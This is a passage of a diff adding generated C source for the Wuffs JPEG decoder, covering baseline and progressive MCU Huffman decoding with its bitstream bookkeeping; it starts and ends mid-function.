0; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ while (self->private_impl.f_mcu_zig_index <= 0u) { ++ wuffs_private_impl__bulk_memset(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, 0u); ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; ++ v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); ++ v_dc_bl = (v_dc_ht_fast >> 8u); ++ if (v_n_bits >= v_dc_bl) { ++ v_dc_symbol = (15u & v_dc_ht_fast); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ v_bits <<= (v_dc_bl & 63u); ++ v_n_bits -= v_dc_bl; ++ } else { ++ v_dc_code = ((uint32_t)((v_bits >> 55u))); ++ v_dc_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; ++ if (v_dc_code < (v_dc_ht_slow >> 8u)) { ++ v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); ++ if (v_dc_blm1 == 0u) { ++ v_dc_symbol = 0u; ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ } ++ } ++ v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_dc_value += ((uint16_t)(v_dc_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_dc_symbol; ++ v_n_bits -= v_dc_symbol; ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_mcu_blocks[0u][0u] = self->private_impl.f_mcu_previous_dc_values[v_csel]; ++ self->private_impl.f_mcu_zig_index = 1u; ++ break; ++ } ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ if (v_n_bits < 16u) { ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ } ++ v_z = 1u; ++ self->private_impl.f_mcu_zig_index = 0u; ++ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[self->private_impl.f_mcu_current_block]; ++ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; ++ while (v_z < 64u) { ++ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_ac_bl = (v_ac_ht_fast >> 8u); ++ if (v_n_bits >= v_ac_bl) { ++ v_ac_symbol = (255u & v_ac_ht_fast); ++ v_bits <<= (v_ac_bl & 63u); ++ v_n_bits -= v_ac_bl; ++ } else { ++ v_ac_code = ((uint32_t)((v_bits >> 55u))); ++ v_ac_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; ++ if (v_ac_code < (v_ac_ht_slow >> 8u)) { ++ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); ++ break; ++ } ++ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); ++ if (v_ac_blm1 == 0u) { ++ v_ac_symbol = 0u; ++ break; ++ } ++ } ++ } ++ v_ac_rrrr = (v_ac_symbol >> 4u); ++ v_z += (v_ac_rrrr + 1u); ++ v_ac_ssss = (v_ac_symbol & 15u); ++ v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; ++ if (v_ac_ssss > 0u) { ++ v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_ac_value += ((uint16_t)(v_ac_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_ssss; ++ v_n_bits -= v_ac_ssss; ++ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = v_ac_value; ++ } else if (v_ac_rrrr < 15u) { ++ break; ++ } ++ } ++ v_mcb = self->private_impl.f_mcu_current_block; ++ self->private_impl.f_mcu_current_block += 1u; ++ if (self->private_impl.f_test_only_interrupt_decode_mcu) { ++ goto label__goto_done__break; ++ } ++ if ( ! self->private_impl.f_swizzle_immediately) { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; ++ v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); ++ v_offset = (self->private_impl.f_mcu_blocks_offset[v_mcb] + (((uint64_t)(self->private_impl.f_mcu_blocks_mx_mul[v_mcb])) * ((uint64_t)(a_mx))) + (((uint64_t)(self->private_impl.f_mcu_blocks_my_mul[v_mcb])) * ((uint64_t)(a_my)))); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ } ++ } else if (self->private_impl.f_num_components == 1u) { ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__make_slice_u8(self->private_data.f_swizzle_immediately_buffer, 64), 8u, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ self->private_impl.f_swizzle_immediately_status = wuffs_jpeg__decoder__swizzle_gray(self, ++ a_dst, ++ wuffs_base__make_slice_u8(self->private_data.f_swizzle_immediately_buffer, 64), ++ ((a_mx + 0u) * 8u), ++ ((a_mx + 1u) * 8u), ++ ((a_my + 0u) * 8u), ++ ((a_my + 1u) * 8u), ++ 8u); ++ if ( ! wuffs_base__status__is_ok(&self->private_impl.f_swizzle_immediately_status)) { ++ v_ret = 3u; ++ goto label__goto_done__break; ++ } ++ break; ++ } else { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; ++ v_stride = (8u * ((uint64_t)(self->private_impl.f_components_h[v_csel]))); ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, self->private_impl.f_swizzle_immediately_b_offsets[v_mcb], 640), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ if (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ continue; ++ } ++ self->private_impl.f_swizzle_immediately_status = wuffs_jpeg__decoder__swizzle_colorful(self, ++ a_dst, ++ wuffs_base__utility__empty_slice_u8(), ++ ((a_mx + 0u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_h))), ++ ((a_mx + 1u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_h))), ++ ((a_my + 0u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_v))), ++ ((a_my + 1u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_v)))); ++ if ( ! wuffs_base__status__is_ok(&self->private_impl.f_swizzle_immediately_status)) { ++ v_ret = 3u; ++ goto label__goto_done__break; ++ } ++ break; ++ } ++ } ++ self->private_impl.f_mcu_current_block = 0u; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_ac_high_bits ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ const uint16_t* v_ac_huff_table_fast = NULL; ++ uint8_t v_ac_h = 0; ++ uint32_t v_ac_symbol = 0; ++ uint32_t v_ac_ht_fast = 0; ++ uint32_t v_ac_bl = 0; ++ uint32_t v_ac_code = 0; ++ uint32_t v_ac_blm1 = 0; ++ uint32_t v_ac_ht_slow = 0; ++ uint16_t v_ac_value = 0; ++ uint16_t v_ac_extend = 0; ++ uint32_t v_ac_rrrr = 0; ++ uint32_t v_ac_ssss = 0; ++ uint32_t v_z = 0; ++ ++ if (self->private_impl.f_eob_run > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ return 0u; ++ } ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ if (v_n_bits < 16u) { ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ } ++ v_z = self->private_impl.f_mcu_zig_index; ++ self->private_impl.f_mcu_zig_index = 0u; ++ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; ++ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; ++ while (v_z <= ((uint32_t)(self->private_impl.f_scan_se))) { ++ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_ac_bl = (v_ac_ht_fast >> 8u); ++ if (v_n_bits >= v_ac_bl) { ++ v_ac_symbol = (255u & v_ac_ht_fast); ++ v_bits <<= (v_ac_bl & 63u); ++ v_n_bits -= v_ac_bl; ++ } else { ++ v_ac_code = ((uint32_t)((v_bits >> 55u))); ++ v_ac_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; ++ if (v_ac_code < (v_ac_ht_slow >> 8u)) { ++ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); ++ break; ++ } ++ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); ++ if (v_ac_blm1 == 0u) { ++ v_ac_symbol = 0u; ++ break; ++ } ++ } ++ } ++ v_ac_rrrr = (v_ac_symbol >> 4u); ++ v_z += (v_ac_rrrr + 1u); ++ v_ac_ssss = (v_ac_symbol & 15u); ++ v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; ++ if (v_ac_ssss > 0u) { ++ v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_ac_value += ((uint16_t)(v_ac_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_ssss; ++ v_n_bits -= v_ac_ssss; ++ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = ((uint16_t)(((uint16_t)(v_ac_value << self->private_impl.f_scan_al)))); ++ } else if (v_ac_rrrr < 15u) { ++ self->private_impl.f_eob_run = ((uint16_t)(((uint16_t)(((uint16_t)(((uint16_t)(1u)) << v_ac_rrrr)) - 1u)))); ++ if (v_ac_rrrr > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_rrrr; ++ v_n_bits -= v_ac_rrrr; ++ } ++ break; ++ } ++ } ++ } while (0); ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_ac_low_bit ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint16_t v_one_lshift_scan_al = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ const uint16_t* v_ac_huff_table_fast = NULL; ++ uint8_t v_ac_h = 0; ++ uint32_t v_ac_symbol = 0; ++ uint32_t v_ac_ht_fast = 0; ++ uint32_t v_ac_bl = 0; ++ uint32_t v_ac_code = 0; ++ uint32_t v_ac_blm1 = 0; ++ uint32_t v_ac_ht_slow = 0; ++ uint16_t v_ac_value = 0; ++ uint32_t v_ac_rrrr = 0; ++ uint32_t v_ac_ssss = 0; ++ uint8_t v_unzig = 0; ++ bool v_bit = false; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ v_one_lshift_scan_al = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ while (true) { ++ if (self->private_impl.f_eob_run > 0u) { ++ break; ++ } ++ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; ++ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; ++ while (true) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); ++ v_ac_bl = (v_ac_ht_fast >> 8u); ++ if (v_n_bits >= v_ac_bl) { ++ v_ac_symbol = (255u & v_ac_ht_fast); ++ v_bits <<= (v_ac_bl & 63u); ++ v_n_bits -= v_ac_bl; ++ } else { ++ v_ac_code = ((uint32_t)((v_bits >> 55u))); ++ v_ac_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; ++ if (v_ac_code < (v_ac_ht_slow >> 8u)) { ++ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); ++ break; ++ } ++ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); ++ if (v_ac_blm1 == 0u) { ++ v_ac_symbol = 0u; ++ break; ++ } ++ } ++ } ++ v_ac_rrrr = (v_ac_symbol >> 4u); ++ v_ac_ssss = (v_ac_symbol & 15u); ++ v_ac_value = 0u; ++ if (v_ac_ssss > 0u) { ++ v_ac_value = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); ++ if ((v_bits >> 63u) == 0u) { ++ v_ac_value = ((uint16_t)(((uint16_t)(65535u)) << self->private_impl.f_scan_al)); ++ } ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ } else if (v_ac_rrrr < 15u) { ++ self->private_impl.f_eob_run = ((uint16_t)(((uint16_t)(1u)) << v_ac_rrrr)); ++ if (v_ac_rrrr > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_rrrr; ++ v_n_bits -= v_ac_rrrr; ++ } ++ goto label__goto_do_eob__break; ++ } ++ while (true) { ++ v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { ++ if (v_n_bits == 0u) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ } ++ v_bit = ((v_bits >> 63u) > 0u); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ if (v_bit) { ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ } ++ } else if (v_ac_rrrr <= 0u) { ++ break; ++ } else { ++ v_ac_rrrr -= 1u; ++ } ++ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { ++ break; ++ } ++ self->private_impl.f_mcu_zig_index += 1u; ++ } ++ if (v_ac_value != 0u) { ++ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]] = v_ac_value; ++ } ++ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { ++ break; ++ } ++ self->private_impl.f_mcu_zig_index += 1u; ++ } ++ goto label__block__break; ++ } ++ label__goto_do_eob__break:; ++ if (self->private_impl.f_eob_run <= 0u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ while (true) { ++ v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { ++ if (v_n_bits == 0u) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ } ++ v_bit = ((v_bits >> 63u) > 0u); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ if (v_bit) { ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ } ++ } ++ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { ++ break; ++ } ++ self->private_impl.f_mcu_zig_index += 1u; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } while (0); ++ label__block__break:; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_dc_high_bits ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint8_t v_csel = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ uint8_t v_dc_h = 0; ++ uint32_t v_dc_symbol = 0; ++ uint32_t v_dc_ht_fast = 0; ++ uint32_t v_dc_bl = 0; ++ uint32_t v_dc_code = 0; ++ uint32_t v_dc_blm1 = 0; ++ uint32_t v_dc_ht_slow = 0; ++ uint16_t v_dc_value = 0; ++ uint16_t v_dc_extend = 0; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const 